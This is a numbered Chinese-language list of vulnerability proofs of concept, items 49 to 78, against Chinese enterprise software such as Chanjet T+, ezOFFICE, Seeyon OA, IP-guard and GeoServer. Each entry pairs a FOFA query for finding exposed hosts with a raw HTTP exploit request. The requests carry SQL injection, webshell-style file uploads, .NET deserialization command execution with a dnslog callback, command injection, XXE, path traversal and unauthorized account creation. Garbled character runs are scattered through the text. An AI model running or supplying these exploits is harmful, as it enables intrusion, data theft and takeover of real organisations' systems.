Content-Type: application/octet-stream
; c2 I% L! |, n) e------269520967239406871642430066855
% P  w) F5 V& D7 V; CContent-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--

3 a% d; }* {4 e/ k3 ]5 b9 ]& a
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
) u2 n5 V) W6 B$ cFOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
3 S! {& R' F! X1 T0 S" c7 ^% SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- \+ }) l/ O" ?Connection: close
& S/ |. y) S0 x. M* {+ MContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
! I' H/ l" p6 g: P5 Z8 MContent-Type: application/octet-stream
) A/ Q4 a; }+ p
wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

4 o$ G* L' J0 @: `) r9 n+ `+ R0 Mupload
-----------------------------vvv3wdayqv3yppdxvn3w--


http://x.x.x.x/tmpfile/updB3CB.tmp.php
: {8 P& R9 f; G/ p. r" A& X
, v3 ^/ D) f8 x8 ^" V) M4 H6 w$ m50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
$ N( r7 ~6 {5 G( d' L5 C; ^$ sPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
8 L  E& Z7 s, V$ E9 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
3 C% ~, q8 k; i1 o* e) U) [Content-Length: 224
Accept: */*
) H) l" F% V; P* ZAccept-Language: en
$ }4 V7 Z) K% }! o9 n, G/ \/ L& P: sContent-Type: application/x-www-form-urlencoded
) ^7 p% P7 W: V- L7 u7 lAccept-Encoding: gzip
9 S7 T: O% x" o8 d8 Z
& n5 ]; s3 `$ Z3 isearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

/ l9 g* h8 ?  p: p0 B( k. a
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
' K3 P& V& B4 M1 ~FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
5 N  U3 o# Z" D' o0 A2 TAccept-Language: zh-CN,zh;q=0.9
Connection: close
$ O& t. K7 c) {

7 {. Q; l- l- ~2 M6 S& Y4 C: U52. 泛微E-Office json_common.php sql注入
& w" |# Z1 K- b- p& r8 BFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
) ?8 K4 x/ |; @Host: 192.168.86.128:8097
2 s# p/ b$ j) g) B* o/ N( M2 sUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
& l$ k4 K& P! n" I9 ^! v. M: ~Content-Length: 87
3 H$ e) M0 D" PAccept: */*
Accept-Language: en
. O3 S& W. w  `, L( a- QContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

# r0 X- S; w+ u" \tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
& O" D: [7 _, _  D9 w; u8 r
* o/ T+ I$ ~& C2 l! C+ V, ^
53. 迪普 DPTech VPN Service 任意文件上传
8 x2 Z; _9 R$ A" z# I" B# }- C$ `FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
5 b7 Z% w- F! F4 f9 C4 w

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
; b, `# ]$ k5 H: Y$ }* |第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
* c& @6 W: W2 Z' l# p' D5 e# a% E"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
* C% E$ k4 ]  }$ F2 X

" A7 ]$ j1 K$ [完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
4 S5 _# f' {6 x7 e$ y5 |Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
8 |( c  @& {0 N; {/ U3 rContent-Length: 593
' R! X8 P/ n4 Z5 w. Y7 c1 b- _
{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
+ Y! k$ y! g8 E6 P* w' [; t4 P, Q  C    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
' A1 z% ~7 P- r7 v; w    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
5 e& w  c) `; Q5 B/ M( [- g3 c  }
5 u- B1 s. ?, @8 p7 g' A}


第二步，访问如下url
4 v7 {. x# s% N/ L2 x/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
2 M7 x% Z$ w8 B- c& i
# o. x1 ?# v; u8 @9 \9 X! n
55. 畅捷通T+ getdecallusers信息泄露
3 q- ?3 h+ O2 s$ _FOFA：app="畅捷通-TPlus"
3 S" s+ ~  [5 Y/ ~3 b第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
+ n$ Z* o; N6 m2 u) W2 Y第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
4 H# W9 G" j+ C+ h- O7 Q
1 _7 a  ^, L- o- @. X/ @56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
7 K" G0 B$ P: fPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
2 z9 X6 [/ h3 b: Z# `4 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
: b- x, W5 v1 ^. X3 qContent-Type: application/json
& c7 ]& e; r) i6 {
{
  "storeID":{
+ e# |1 l4 Y& ^; t    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
( k2 C4 e7 N, S# p+ H1 x, e' m   "MethodName":"Start",
    "ObjectInstance":{
  S" q% c/ n! X: y: b0 K' M" A4 H; w       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
- S# L& s9 W5 ]        "StartInfo": {
) A+ p9 k/ o; o$ O: S7 I& r: \  M           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
' ?2 M- G( j% i- L& N( ~           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
. E$ ^5 v: }4 M# T3 B2 C* ^" `       }
    }
  }
}

1 }' y" f1 J' t) h
/ X7 _6 L+ a$ q! c57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
6 U8 t* d. F% EGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
  J' w5 Y$ L  \0 `1 i7 oHost: host
2 K! P* n; ]; O3 l; E$ jUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
5 v* }! l7 I! O

" Q6 a; d- c- z$ E# S58. 畅捷通T+ KeyInfoList.aspx sql注入
' s' ^- ?* ]' }! }FOFA：app="畅捷通-TPlus"
$ K7 o% n8 x# S( Z: N! W7 [' }$ {GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
) T0 e# L" Z9 V8 S1 n! MHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
( d6 G9 @; A& s! P+ QAccept-Encoding: gzip, deflate
; S8 C- Z4 x) P4 uConnection: close


2 Z$ F" v6 z' c8 _! W  Q59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
4 u4 Z- p0 m7 K0 o( C+ X( h& mPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
8 E* ?6 H) U0 i' G, n/ wHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
! t3 ~; f# O8 f( ?4 XContent-Length: 1669
/ q$ O. Q) S1 R! x8 oAccept: */*
" ~* c: q" U' A' {* |$ h" JAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
, W3 u: ]8 ?8 {
PAYLOAD

5 R- Q2 g* o. s2 M7 s/ N; {# n
& ^- X" A7 v" k! k7 A60. 百卓Smart管理平台 importexport.php SQL注入
2 Q, G! P5 E6 Y5 i# b9 j+ ]$ s% fFOFA：title="Smart管理平台"
0 x: R7 c; j; m0 [0 lGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
5 R0 W! u6 s) J( a9 S9 A' zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 v, c' ^. J% ^- o% t& N3 j" NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, |% [) v9 I6 ]5 e9 O8 s0 B6 ~* v1 |Connection: close
: f, P2 g1 }+ U, k" u' G: I

61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
1 }" a7 S$ [- S9 W7 f! N% SFOFA: title="欢迎使用浙大恩特客户资源管理系统"
# M9 q* y0 Z8 c2 K  K5 }2 hPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
2 K. I; {9 F$ xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: _0 q- ]' B" b8 S: r8 @6 YConnection: close
# V% O$ V# O' m: U' y$ C8 E: [& e7 eContent-Length: 27
% I  V, D7 l2 w. O. IAccept: */*
9 B) ^' w# D# }6 O+ u  x  EAccept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

- P2 V7 {, k- F5 @) a+ q9 a& k7 `8uxssX66eqrqtKObcVa0kid98xa
  c1 X0 f7 V# j4 q+ L. I

62. IP-guard WebServer 远程命令执行
& v' P: e$ t& W- F. d9 d8 TFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
3 |9 Z2 Z& I- S: x9 o# U1 u2 cConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
# b* p6 Y8 O1 Z( g$ n2 }

访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
2 F$ O2 I- S+ t9 u3 R7 Q3 }6 [Host: x.x.x.x

% L  }/ F1 [. O) J4 n1 ]3 _
" z' r7 k: _! Y9 F; t, T6 i3 h6 p63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
: I/ H: E+ q/ B& J8 x$ Y' g5 DFOFA：icon_hash="2030860561"
" B1 U' E% X+ S0 {4 yPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
' z; m' k/ F1 }# A3 S9 z1 KHost: your-ip
. L% _9 p1 U7 W! LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
: c1 q' E* e' h6 `1 t. i7 BAccept-Language: zh-CN,zh;q=0.9
Connection: close
1 V4 f* o) J! R" d1 h4 u: D6 ~Content-Type: application/x-www-form-urlencoded
9 j. Y4 ?1 b8 j- y8 h0 m
9 X  `: M, E- i: @4 }path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
/ \. w) s$ y! R8 G( s2 PPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
; _3 q3 ]+ y- {) _6 j6 cHost: 192.168.86.128:9001
9 A. R. b9 X* f8 B' Y' M3 e. {User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
. e3 J" d! P5 Y$ Z9 Y9 g) X( F$ C; bConnection: close
Content-Length: 369
) I! U  P/ N; ]Accept: */*
Accept-Language: en
$ H$ x' M* j) [  [! l) A/ }/ uContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
3 {# E) @1 p0 h2 }3 k/ }<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>
7 W6 q( x4 G6 G3 b2 y- G
7 G2 k# }3 t. ^1 A: M7 R+ x
& K: G8 \3 N/ ?65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
. X! x2 A0 S, Z/ b1 V7 G9 o$ M7 ^Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
1 E3 z  C# ^# U1 Q! |. N3 e9 iAccept-Language: en
Content-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

$ K' Y7 z% P" y: M' z" Y3 O
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

7 W" J( E3 Y5 s& R5 rGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
1 C* C! d0 U$ f& MAccept-Language: en
9 D5 ^# B0 ^: M. l  F" w+ u, IAccept-Encoding: gzip

0 V7 b+ y4 z' k3 ?5 s
% q4 p- m5 Z7 a; X第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
0 W8 w) r  D0 \# W9 Z# u3 x( oFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
# e) u: P# L  F% z1 c% jPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
0 r1 U! u+ M/ |; K# QHost: x.x.x.x
0 D/ H) ^& ]6 u* Z6 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
- @8 g; ?$ k$ E; @' _5 o0 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
3 b5 x; Z% r, ?. [Accept-Encoding: gzip, deflate
2 G- }& Z0 f3 ?, i9 ]; `4 nAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
: d' @5 q2 e# ^' R) ?( yConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1

9 P& u3 G1 L" m* x% A--ufuadpxathqvxfqnuyuqaozvseiueerp
. Q; Q# T: O1 `2 xContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
2 G+ }* A6 v4 p' x$ I2 c! |
; F' y5 [& S" N. g
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
8 G5 j( e- P; ~7 SAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
8 {) e/ l2 h8 m; i! GAccept-Encoding: gzip, deflate
; x# B9 Y  R7 ZAccept-Language: zh-CN,zh;q=0.9
Connection: close
; w8 D& ~5 S) ]0 Z
2 j( s! n6 Y4 w" `
69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
, I' F* k2 f% s" `6 x% HGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
, {/ q, k4 f3 ?, j, vAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
0 h2 r2 g! U) n) M; R
+ w4 y- l0 k, F; J
9 _( t; O: n  Z9 R5 ?70. 万户ezEIP success 命令执行
" M3 c8 Q& i! R7 ?4 w+ [& m2 nFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
' q; f1 _9 ~8 Y: C( T9 v2 hHost: {{Hostname}}
. s3 Y+ m, B# {8 d# jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
# Q# i/ F# }- O6 D8 V# i3 YContent-Type: application/x-www-form-urlencoded
TYPE: C
0 x# l7 ^! y, O/ D$ uContent-Length: 16702

__VIEWSTATE=PAYLOAD
% @& j" ?, b/ M0 j  p

71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
3 e/ H! S9 v# `) JFOFA：body="PM2项目管理系统BS版增强工具.zip"
! K& {) V7 [& U* E* Q% RGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
2 ]3 V  j1 N$ x8 wConnection: close
" c( V$ u8 v' N4 G5 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, T- o0 R- U% `8 TAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
  f8 G! F  s, u/ A

' x/ f9 K0 h3 @72. 致远OA getAjaxDataServlet XXE
- v" o% U% m& I$ e+ c0 m5 bFOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
9 B; Q' C- \) Y8 a$ f* }; R: eContent-Length: 583
7 b( v: x, t, f4 E7 I9 e' T( \Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
/ ^$ l5 x7 d! I2 G  Q5 N+ V$ Y& J
7 w' G' z/ A7 A8 y9 B* l. |S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


; K' K( s- L' ?6 R4 \73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
$ x9 J5 ?' _. ]6 PPOST /geoserver/wms HTTP/1.1
4 L% g) F$ [2 qHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
, k+ K) [  \) x$ qAccept-Encoding: gzip, deflate
2 K5 @4 q) R' S6 ^; t  n& b" [3 `Connection: close
Content-Type: application/xml
SL-CE-SUID: 3
- M7 ]! w6 U( C, \  X
PAYLOAD
* V! ]' [' c/ D! L: T: X

74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
6 b/ G) Q( w& b+ b* KPAYLOAD

4 u9 u# [/ P5 ]8 _+ {+ f. `75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
) e. o5 r& `  s# y9 B% m$ J  XGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
" W/ E4 p0 O" j$ ?# ?% z+ h+ FAccept-Encoding: gzip


0 g& l2 F, B3 O; o+ @: l* RGET /cgi-bin/test28256.txt HTTP/1.1
5 ^8 V$ l* O" f9 a# W# V& d# BHost: x.x.x.x
8 X- B% p4 N1 y5 o- w1 q
" T2 A$ F$ n' C7 T
76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
8 [$ {1 \1 m# ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
4 |8 O1 }5 T/ Z" B+ S) pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% i# F8 l& R) _5 _9 fCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
6 O! j3 c+ ?. EUpgrade-Insecure-Requests: 1

{
"command": "GetFZinfo",
9 I0 [2 o+ p( c* H  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
2 y$ g: `  p7 e! v8 h- d
! S$ |: J% l, k; ^/ N$ f* k, @; H0 V
' `8 {3 ?$ t# r1 qGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
  i% w6 v, G: j9 w5 y5 GHost: x.x.x.x
4 i7 D; A; d" b- j  b( A# J# m8 z
/ N+ ?; d- v3 P- ?5 |: d8 L

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
' [' v; F0 \- v; B) L5 \FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
" P6 N- D  A  S& ]# O' p1 }* z" AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
, v' Q* @% s5 @. z% B# GAccept: */*
# R: u1 s2 r# T# pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! H  ~+ k1 t/ q' v1 O2 |+ FContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

- H5 e8 D- Y, N; M+ C: u------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

/upload/udplog
* b6 N0 q- R2 C$ E, Q------------398jnjVTTlDVXHlE7yYnfwBoix
+ M% {  R3 r3 X8 |Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
+ t5 `" R# m0 f& {$ i+ r, aContent-Type: application/octet-stream
- S: G/ L1 }8 o7 w' X8 C+ \
hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
# _+ T+ c6 f! D2 k: N6 v
; ?! H1 K6 P. _" o3 g8 C: S& aSubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
  E8 x6 D1 |% F+ s) [8 }% m. mFOFA：icon_hash="2001627082"
( b. ]$ Y% O; e8 R4 KPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 C* \6 P; i" SConnection: close
" K: S* S( g5 N, H) OContent-Length: 336
Accept-Encoding: gzip
